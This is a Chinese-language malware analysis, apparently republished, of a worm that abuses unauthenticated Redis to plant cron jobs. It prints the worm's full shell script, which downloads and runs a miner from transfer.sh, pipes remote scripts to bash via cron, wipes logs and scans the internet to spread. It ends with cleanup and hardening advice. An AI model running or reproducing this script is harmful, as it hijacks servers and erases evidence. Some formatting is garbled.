首頁 >資料庫 >Redis >Linux Redis自動化挖礦感染蠕蟲實例分析

Linux Redis自動化挖礦感染蠕蟲實例分析

WBOY
WBOY轉載
2023-06-03 12:48:101446瀏覽

  一、 背景

# 自從Redis未授權問題獲取Linux系統root權限的攻擊方法的披露後,由於其易用性,利用該問題入侵Linux服務進行挖礦、掃描等的黑客行為一直層出不窮;而在眾多利用該問題入侵伺服器進行在黑產行為的案例中,其中就存在一類利用該問題進行挖礦並且會利用pnscan自動掃描感染其他機器;該類攻擊一直存在,不過在近期又呈現數量增加的趨勢,在最近捕獲到多次,我們針對其做下具體的分析。

  二、漏洞說明

首先針對利用的漏洞做個說明,Redis 預設情況下,會綁定在0.0.0.0:6379,在沒有利用防火牆進行屏蔽的情況下,將會將Redis服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任何使用者在可以存取目標伺服器的情況下未授權存取Redis以及讀取Redis的資料。攻擊者在未授權存取Redis的情況下利用Redis的相關方法,可以成功將自己的公鑰寫入目標伺服器的~/.ssh 資料夾的authotrized_keys 檔案中,進而可以直接登入目標伺服器;如果Redis服務是以root權限啟動,可以利用該問題直接取得伺服器root權限。

  經過ZoomEye和SHODAN檢索,可以發現分別眾多Redis服務開放在公網上,這些服務都可能成為攻擊目標。

Linux Redis自动化挖矿感染蠕虫实例分析

Linux Redis自动化挖矿感染蠕虫实例分析

  三、入侵分析

Linux Redis自动化挖矿感染蠕虫实例分析

# 經過捕獲的事件進行分析,我們發現整個入侵流程大概是包含以下幾個環節:1、掃描開放6379端口的Linux伺服器(後續感染掃描網段為1.0.0.0/16到224.255.0.0/16)

2.透過redis-cli嘗試連接Redis並執行預設在.dat檔案裡的利用命令將Redis的資料檔案修改為/var/spool/cron/root,然後透過在Redis中插入數據,將下載執行腳本的動作寫入crontab任務

  3、透過腳本實現以上的相關行為,完成植入並啟動挖礦程序

  4、再編譯安裝pnscan,繼續掃描感染下一個目標

  四、腳本分析

# 整個入侵利用以及後續的感染的實現,最主要的功能都是基於透過Redis問題寫入crontab任務中下載執行的NaNd腳本(https://transfer.sh/MIpIA/tmp.9kIguIhkI7)來實現的,透過對它的分析,我們基本上能夠得到整個流程的所有細節,這是一個base腳本,我們透過解讀來分析下它的相關功能。

  1. sleep 1

  2. find . -maxdepth 1 -name “.mxff0” -type f -mmin 60 -delete

  3. [ -f .mxff0 ] && exit 0

#   4. echo 0 > .mxff0

這部分程式碼只要是用作重複執行的判斷,將.mxff0文件作為標記文件,如果存在該文件則代表機器上已執行腳本,直接退出,否則寫.mxff0文件並進行下一步動作;

  5. trap “rm -rf .m* NaNd tmp.* .r .dat $0” EXIT

  設定預設動作,在腳本退出後刪除相關檔案與腳本本身;

  6. setenforce 0 2>/dev/null

#   7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

#   8. crontab -r 2>/dev/null

#   9. rm -rf /var/spool/cron 2>/dev/null

  10. grep -q 8.8.8.8 /etc/resolv.conf || echo “nameserver 8.8.8.8” >> /etc/resolv.conf

  11. rm -rf /tmp/* 2>/dev/null

  12. rm -rf /var/tmp/* 2>/dev/null

  13. rm -rf /etc/root.sh 2>/dev/null

  14. sync && echo 3 > /proc/sys/vm/drop_caches

#   15. cat < /etc/security/limits.conf

#   16. * hard nofile 100000

  17. * soft nofile 100000

  18. root hard nofile 100000

  19. root soft nofile 100000

  20. * hard nproc 100000

  21. * soft nproc 100000

  22. root hard nproc 100000

#   23. root soft nproc 100000

#   24. EOF

  這部分主要是修改系統的配置,6、7行為關閉SELINU;

#   然後清空/var/spool/cron,進而判斷系統DNS伺服器是否存在8.8.8.8,沒有則加;

  11-13則清空系統tmp目錄與刪除相關檔案;

#   14行清空系統緩存,而15-24則是修改系統的資源限制;

  25. iptables -I INPUT 1 -p tcp –dport 6379 -j DROP

#

  26. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPT

# 27. ps xf | grep -v grep | grep “redis-server|nicehash|linuxs|linuxl|crawler.weibo|243/44444|cryptonight|stratum|gpg-daemon|jobs.flu.cc|nmap|cranberry|start. sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs| .sshd|/tmp/init” | while read pid _; do kill -9 “$pid”; done

# 這裡再進一步的增加iptables限制6379端口只允許本地訪問,同時kill相關包含挖礦、redis客戶端、爬蟲等進程,這裡的目的也比較簡單,避免被其他黑客再次入侵,同時清除可能其他黑客入侵啟動的進程;

  28. rm -rf /tmp/* 2>/dev/null

  29. rm -rf /var/tmp/* 2>/dev/null

  30. echo 0 > /var/spool/mail/root

#   31. echo 0 > /var/log/wtmp

#   32. echo 0 > /var/log/secure

#   33. echo 0 > /root/.bash_history

#   清除相關登入日誌、指令操作歷史;

  34. YUM_PACKAGE_NAME=”iptables gcc redis coreutils bash curl wget”

  35. DEB_PACKAGE_NAME=”coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl”

  36. if cat /etc/*release | grep -i CentOS; then

  37. yum clean all

#   38. yum install -y -q epel-release

#   39. yum install -y -q $YUM_PACKAGE_NAME

  40. elif cat /etc/*release | grep -qi Red; then

#   41. yum clean all

#   42. yum install -y -q epel-release

#   43. yum install -y -q $YUM_PACKAGE_NAME

  44. elif cat /etc/*release | grep -qi Fedora; then

#   45. yum clean all

#   46. yum install -y -q epel-release

#   47. yum install -y -q $YUM_PACKAGE_NAME

  48. elif cat /etc/*release | grep -qi Ubuntu; then

#   49. export DEBIAN_FRONTEND=noninteractive

#   50. rm -rf /var/lib/apt/lists/*

#   51. apt-get update -q –fix-missing

#   52. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

  53. elif cat /etc/*release | grep -qi Debian; then

#   54. export DEBIAN_FRONTEND=noninteractive

#   55. rm -rf /var/lib/apt/lists/*

#   56. apt-get update –fix-missing

#   57. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

  58. elif cat /etc/*release | grep -qi Mint; then

#   59. export DEBIAN_FRONTEND=noninteractive

#   60. rm -rf /var/lib/apt/lists/*

#   61. apt-get update –fix-missing

#   62. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

  63. elif cat /etc/*release | grep -qi Knoppix; then

#   64. export DEBIAN_FRONTEND=noninteractive

#   65. rm -rf /var/lib/apt/lists/*

#   66. apt-get update –fix-missing

#   67. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

  68. else

  69. exit 1

  70. fi

  71. sleep 1

  72. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then

# 73. curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn /pnscan/tar.gz/v1.12

#   74. sleep 1

  75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112install && cd .. && rm -rf pnscan-1.12 .x11212

##   76. fi

這一長串的內容主要目的是下載並編譯安裝pnscan,從內容中我們可以看到對於不同作業系統的判斷然後安裝依賴的相關模組,然後才是從github下載pnscan的源碼進行編譯安裝;至於為什麼採用編譯安裝的形式,猜測是出於相容不同系統以及每次編譯產生的pnscan的MD5都不一樣,避免形成固定特徵;

  77. tname=$( mktemp )

  78. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge

#   79. curl -s $OMURL > $tname || wget -q -O $tname $OMURL

  80. NMURL=$( curl -s –upload-file $tname https://transfer.sh )

#   81. mv $tname .gpg && chmod x .gpg && ./.gpg && rm -rf .gpg

  這部分主要是下載挖礦程式並重新命名為.gpg,增加執行權限,執行後刪除,同時重新上傳到https://transfer.sh/ 取得新的連結;

  82. [ -z “$NMURL” ] && NMURL=$OMURL

  83. ncmd=$(basename $(mktemp))

#   84. sed ‘s|'”$OMURL”‘|'”$NMURL”‘|g’ < NaNd > $ncmd

  85. NSURL=$( curl -s –upload-file $ncmd https://transfer.sh )

#   86. echo ‘flushall’ > .dat

  87. echo ‘config set dir /var/spool/cron’ >> .dat

  88. echo ‘config set dbfilename root’ >> .dat

#   89. echo ‘set Backup1 “tn*/2 * * * * curl -s ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

  90. echo ‘set Backup2 “tn*/5 * * * * wget -O NaNd ‘${NSURL}’ && bash NaNdnt”‘ >> .dat

  91. echo ‘set Backup3 “tn*/10 * * * * lynx -source ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

  92. echo ‘save’ >> .dat

#   93. echo ‘config set dir /var/spool/cron/crontabs’ >> .dat

#   94. echo ‘save’ >> .dat

#   95. echo ‘exit’ >> .dat

# 而這部分內容主要是產生新的.dat文件,包含將原來NaNd腳本裡的里挖礦程序的下載地址替換為上一步上傳到https://transfer.sh/ 得到的新地址,還有Redis利用的相關語句;

  96. pnx=pnscan

#   97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan

  98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan

  99. for x in $( seq 1 224 | sort -R ); do

#   100. for y in $( seq 0 255 | sort -R ); do

101. $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0. .$x.$y.o

#   102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > .r.$x.$y.l

#   103. while read -r h p; do

  104. cat .dat | redis-cli -h $h -p $p –raw &

#   105. done < .r.$x.$y.l

#   106. done

  107. done

而步主要是呼叫pnscan去掃描子網段1.0.0.0/16到224.255.0.0/16中開放6379埠並且作業系統為Linux的目標,然後利用redis-cli執行.dat中的指令,進行下個目標的感染;這裡pnscan的-W參數值'2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a'轉換後內容'*1rn$4rnINFOrn',是向目標Redis服務發送請求獲取Redis伺服器的各種資訊和統計數值,再透過-R參數值'6f 73 3a 4c 69 6e 75 78′(轉換後內容為os:Linux)判斷是否Linux系統。

  108. echo 0 > /var/spool/mail/root 2>/dev/null

  109. echo 0 > /var/log/wtmp 2>/dev/null

#   110. echo 0 > /var/log/secure 2>/dev/null

#   111. echo 0 > /root/.bash_history 2>/dev/null

  112. exit 0

最後就是收尾工作,清除相關日誌和指令執行歷史,同時在腳本退出的時候會觸發腳本一開始用trap預置的動作,會做刪除操作,刪除相關文件和腳本自身(rm -rf m* NaNd tmp .* .r .dat $0)。

  透過對腳本的解讀,我們基本上已經清楚整個蠕蟲的行為和入侵流程,也就是我們開始所描述的流程。

  另外,透過閱讀腳本,我們發現雖然整個入侵流程並不是多複雜,但腳本其實有很多」工程化」的細節考慮,不得不讓人驚嘆入侵者的」考慮周到」:

  1、 利用.mxff0檔做重複執行檢驗,避免腳本的重複執行

#   2、 為了增加成功性,一些環境的預處理:

  a) 關閉SELINUX

  b) 增加8.8.8.8的DNS

  c) 清空tmp目錄

  d) 清空系統快取

  e) 修改系統資源限制

  3、 痕跡清除

  a) 利用trap預設動作好在腳本執行完成後刪除相關檔案與腳本本身

  b) 重複清除相關登入等日誌和指令執行歷史

  4、 同儕預防

  a) 利用iptables避免Redis服務開放在公網上從而導致再次被入侵

###   b) 清除同儕可能遺留的入侵行為,kill相關流程######   5、系統相容性######   a) 判斷作業系統,針對性的執行相關指令,安裝依賴套件,最大限度的提升pnscan編譯安裝的成功率#######   b) 關閉SELINUX,透過setenforce和修改/etc/sysconfig/selinux兩種手段實作#######   c) 寫入Crontab裡的下載並執行腳本的任務,透過curl、wget、lynx三種方式實作#######   d) Pnscan掃描增加作業系統判斷,減少沒有必要的感染嘗試######   6、 特徵去除,存活延續######   a) Pnscan採用安裝編譯的方式,既提高在不同系統下的兼容性,也避免形成固定的MD5特徵#######   b) 利用https://transfer.sh 中轉,每一次感染均產生新的連接,避免固定鏈接形成固定特徵#######   c) 下載到系統的相關檔案皆採用隨機產生的檔案名稱######   正是由於入侵者種種的」考慮周到」使得他的入侵感染的成功率能夠達到的一定的層度。 ###

  五、 安全建議

#   病毒清理和系統恢復

  我們主要參考腳本的相關行為進行對應的行為恢復和刪除即可:

  1、 關閉SELINUX,依照系統原始環境與業務需求重新開啟SELINUX

#   2、 清空了/var/spool/cron,依照原先備援清空復原

#   3、 修改/etc/resolv.conf增加DNS服務8.8.8.8,如無影響可不處理,或刪除

  4、 修改了系統資源限制(/etc/security/limits.conf),可依備份狀況恢復

#   5、 增加了對6379埠的Iptables規則,如果不影響業務,建議保留

  6、 Kill了相關進程,檢查是否包含業務所需進程,根據情況恢復

  7、 安裝了相關包,具體列表見上文,可根據情況刪除或如無影響可保留

  8、 編譯安裝了pnscan,可刪除/usr/local/bin/pnscan

  9、 清除了相關日誌和tmp目錄,對系統無影響,可忽略

#   10、 啟動了挖礦程序和pnscan掃描感染,進程:.gpg、pnscan,直接kill

# 也包含了一些中間文件,雖然腳本包含相關刪除操作,但建議還是全域查找確認:.mxff0、.x112、.gpg、.dat、NaNd、.r.xx.xx.o/l、tmp.xxxx

  Redis服務加固

#   1、 如無必要,修改bind項,不要將Redis綁定在0.0.0.0上,避免Redis服務開放在外網,可以透過iptables或騰訊雲用戶可以透過安全群組限制存取來源

  2、 在不影響業務的情況,不要以root啟動Redis服務,同時建議修改預設的6379端口,大部分針對Redis未授權問題的入侵都是針對預設端口進行的

  3、 配置AUTH,增加密碼校驗,這樣即使開放在公網上,如果非弱口令的情況,黑客也無法訪問Redis服務進行相關操作

  4、 使用rename-command CONFIG “RENAME_CONFIG”重命名相關命令,這樣黑客即使在連接上未授權問題的Redis服務,在不知道命令的情況下只能獲取相關數據,而無法進一步利用

以上是Linux Redis自動化挖礦感染蠕蟲實例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除